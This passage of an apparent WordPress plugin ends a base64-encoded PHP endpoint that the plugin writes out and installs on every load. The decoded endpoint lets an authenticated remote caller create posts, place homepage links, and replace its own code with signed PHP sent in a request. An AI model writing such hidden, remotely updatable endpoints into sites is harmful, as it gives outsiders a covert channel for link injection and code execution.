3JlbGVhc2Vfc2lnbmF0dXJlX2ludmFsaWQnKSk7CiAgICB9CgogICAgJHNpZ25lZF9wYXlsb2FkID0gJHBheWxvYWRbJ3ZlcnNpb24nXSAuICJcbiIgLiAkY29tcHV0ZWRfc2hhMjU2OwogICAgJHZlcmlmaWVkID0gb3BlbnNzbF92ZXJpZnkoJHNpZ25lZF9wYXlsb2FkLCAkc2lnbmF0dXJlLCAkY29uZmlnWydvdGFfcmVsZWFzZV9wdWJsaWNfa2V5X3BlbSddLCBPUEVOU1NMX0FMR09fU0hBMjU2KTsKICAgIGlmICgkdmVyaWZpZWQgIT09IDEpIHsKICAgICAgICBlYXN5cG9zdF9lbmRwb2ludF9qc29uKDQwMCwgYXJyYXkoJ29rJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAncmVsZWFzZV9zaWduYXR1cmVfaW52YWxpZCcpKTsKICAgIH0KfQoKZnVuY3Rpb24gZWFzeXBvc3RfZW5kcG9pbnRfdXBkYXRlX2VuZHBvaW50KCRwYXlsb2FkKSB7CiAgICBpZiAoIWlzc2V0KCRwYXlsb2FkWyd2ZXJzaW9uJ10pIHx8ICFpc19zdHJpbmcoJHBheWxvYWRbJ3ZlcnNpb24nXSkgfHwgdHJpbSgkcGF5bG9hZFsndmVyc2lvbiddKSA9PT0gJycpIHsKICAgICAgICBlYXN5cG9zdF9lbmRwb2ludF9qc29uKDQwMCwgYXJyYXkoJ29rJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAndmVyc2lvbl9yZXF1aXJlZCcpKTsKICAgIH0KICAgIGlmICghaXNzZXQoJHBheWxvYWRbJ3NoYTI1NiddKSB8fCAhaXNfc3RyaW5nKCRwYXlsb2FkWydzaGEyNTYnXSkgfHwgdHJpbSgkcGF5bG9hZFsnc2hhMjU2J10pID09PSAnJykgewogICAgICAgIGVhc3lwb3N0X2VuZHBvaW50X2pzb24oNDAwLCBhcnJheSgnb2snID0+IGZhbHNlLCAnZXJyb3InID0+ICdzaGEyNTZfcmVxdWlyZWQnKSk7CiAgICB9CiAgICBpZiAoIXByZWdfbWF0Y2goJy9cQVthLWYwLTldezY0fVx6LycsICRwYXlsb2FkWydzaGEyNTYnXSkpIHsKICAgICAgICBlYXN5cG9zdF9lbmRwb2ludF9qc29uKDQwMCwgYXJyYXkoJ29rJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnc2hhMjU2X2ludmFsaWQnKSk7CiAgICB9CiAgICBpZiAoIWlzc2V0KCRwYXlsb2FkWydwaHBCYXNlNjQnXSkgfHwgIWlzX3N0cmluZygkcGF5bG9hZFsncGhwQmFzZTY0J10pIHx8IHRyaW0oJHBheWxvYWRbJ3BocEJhc2U2NCddKSA9PT0gJycpIHsKICAgICAgICBlYXN5cG9zdF9lbmRwb2ludF9qc29uKDQwMCwgYXJyYXkoJ29rJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAncGhwX2Jhc2U2NF9yZXF1aXJlZCcpKTsKICAgIH0KCiAgICAkZGVjb2RlZF9waHAgPSBiYXNlNjRfZGVjb2RlKCRwYXlsb2FkWydwaHBCYXNlNjQnXSwgdHJ1ZSk7CiAgICBpZiAoJGRlY29kZWRfcGhwID09PSBmYWxzZSB8fCAkZGVjb2RlZF9waHAgPT09ICcnKSB7CiAgICAgICAgZWFzeXBvc3RfZW5kcG9pbnRfanNvbig0MDAsIGFycmF5KCdvaycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ3BocF9iYXNlNjRfaW52YWxpZCcpKTsKICAgIH0KICAgICRjb21wdXRlZF9zaGEyNTYgPSBoYXNoKCdzaGEyNTYnLCAkZGVjb2RlZF9waHApOwogICAgaWYgKCFoYXNoX2VxdWFscygkcGF5bG9hZFsnc2hhMjU2J10sICRjb21wdXRlZF9zaGEyNTYpKSB7CiAgICAgICAgZWFzeXBvc3RfZW5kcG9pbnRfanNvbig0MDAsIGFycmF5KCdvaycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ3NoYTI1Nl9taXNtYXRjaCcpKTsKICAgIH0KICAgIGVhc3lwb3N0X2VuZHBvaW50X3ZlcmlmeV9yZWxlYXNlX3NpZ25hdHVyZSgkcGF5bG9hZCwgJGNvbXB1dGVkX3NoYTI1Nik7CgogICAgJHRtcF9wYXRoID0gdGVtcG5hbShfX0RJUl9fLCAnZWFzeXBvc3QtdXBkYXRlLScpOwogICAgaWYgKCEkdG1wX3BhdGgpIHsKICAgICAgICBlYXN5cG9zdF9lbmRwb2ludF9qc29uKDUwMCwgYXJyYXkoJ29rJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAndGVtcG9yYXJ5X3dyaXRlX2ZhaWxlZCcpKTsKICAgIH0KICAgICRieXRlcyA9IGZpbGVfcHV0X2NvbnRlbnRzKCR0bXBfcGF0aCwgJGRlY29kZWRfcGhwLCBMT0NLX0VYKTsKICAgIGlmICgkYnl0ZXMgPT09IGZhbHNlIHx8ICRieXRlcyAhPT0gc3RybGVuKCRkZWNvZGVkX3BocCkpIHsKICAgICAgICBAdW5saW5rKCR0bXBfcGF0aCk7CiAgICAgICAgZWFzeXBvc3RfZW5kcG9pbnRfanNvbig1MDAsIGFycmF5KCdvaycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ3RlbXBvcmFyeV93cml0ZV9mYWlsZWQnKSk7CiAgICB9CiAgICBAY2htb2QoJHRtcF9wYXRoLCBmaWxlcGVybXMoX19GSUxFX18pICYgMDc3Nyk7CiAgICBpZiAoIXJlbmFtZSgkdG1wX3BhdGgsIF9fRklMRV9fKSkgewogICAgICAgIEB1bmxpbmsoJHRtcF9wYXRoKTsKICAgICAgICBlYXN5cG9zdF9lbmRwb2ludF9qc29uKDUwMCwgYXJyYXkoJ29rJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAncmVuYW1lX2ZhaWxlZCcpKTsKICAgIH0KCiAgICBlYXN5cG9zdF9lbmRwb2ludF9qc29uKDIwMCwgYXJyYXkoCiAgICAgICAgJ29rJyA9PiB0cnVlLAogICAgICAgICdlbmRwb2ludFZlcnNpb24nID0+ICRwYXlsb2FkWyd2ZXJzaW9uJ10sCiAgICApKTsKfQoKaWYgKCRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddICE9PSAnUE9TVCcpIHsKICAgIGVhc3lwb3N0X2VuZHBvaW50X2pzb24oNDA1LCBhcnJheSgnb2snID0+IGZhbHNlLCAnZXJyb3InID0+ICdtZXRob2Rfbm90X2FsbG93ZWQnKSk7Cn0KCiRib2R5ID0gZmlsZV9nZXRfY29udGVudHMoJ3BocDovL2lucHV0Jyk7CmVhc3lwb3N0X2VuZHBvaW50X2Jvb3RzdHJhcF93b3JkcHJlc3MoKTsKZWFzeXBvc3RfZW5kcG9pbnRfdmVyaWZ5X2F1dGgoJGJvZHkpOwokYWN0aW9uID0gaXNzZXQoJF9HRVRbJ2FjdGlvbiddKSA/ICRfR0VUWydhY3Rpb24nXSA6ICdoZWFsdGgnOwppZiAoJGFjdGlvbiA9PT0gJ2hlYWx0aCcpIHsKICAgIGVhc3lwb3N0X2VuZHBvaW50X2hlYWx0aCgpOwp9CiRwYXlsb2FkID0gZWFzeXBvc3RfZW5kcG9pbnRfcGF5bG9hZCgkYm9keSk7CmlmICgkYWN0aW9uID09PSAnY3JlYXRlX3Bvc3QnKSB7CiAgICBlYXN5cG9zdF9lbmRwb2ludF9jcmVhdGVfcG9zdCgkcGF5bG9hZCk7Cn0KaWYgKCRhY3Rpb24gPT09ICdwbGFjZV9ob21lcGFnZV9saW5rJykgewogICAgZWFzeXBvc3RfZW5kcG9pbnRfcGxhY2VfaG9tZXBhZ2VfbGluaygkcGF5bG9hZCk7Cn0KaWYgKCRhY3Rpb24gPT09ICdyZW1vdmVfaG9tZXBhZ2VfbGluaycpIHsKICAgIGVhc3lwb3N0X2VuZHBvaW50X3JlbW92ZV9ob21lcGFnZV9saW5rKCRwYXlsb2FkKTsKfQppZiAoJGFjdGlvbiA9PT0gJ3JvdGF0ZV90b2tlbicpIHsKICAgIGVhc3lwb3N0X2VuZHBvaW50X2pzb24oNTAxLCBhcnJheSgnb2snID0+IGZhbHNlLCAnZXJyb3InID0+ICdyb3RhdGVfdG9rZW5fbm90X2ltcGxlbWVudGVkJykpOwp9CmlmICgkYWN0aW9uID09PSAndXBkYXRlX2VuZHBvaW50JykgewogICAgZWFzeXBvc3RfZW5kcG9pbnRfdXBkYXRlX2VuZHBvaW50KCRwYXlsb2FkKTsKfQplYXN5cG9zdF9lbmRwb2ludF9qc29uKDQwNCwgYXJyYXkoJ29rJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAndW5rbm93bl9hY3Rpb24nKSk7Cg=='));
}

register_activation_hook(__FILE__, 'easypost_endpoint_install_endpoint');
easypost_endpoint_install_endpoint();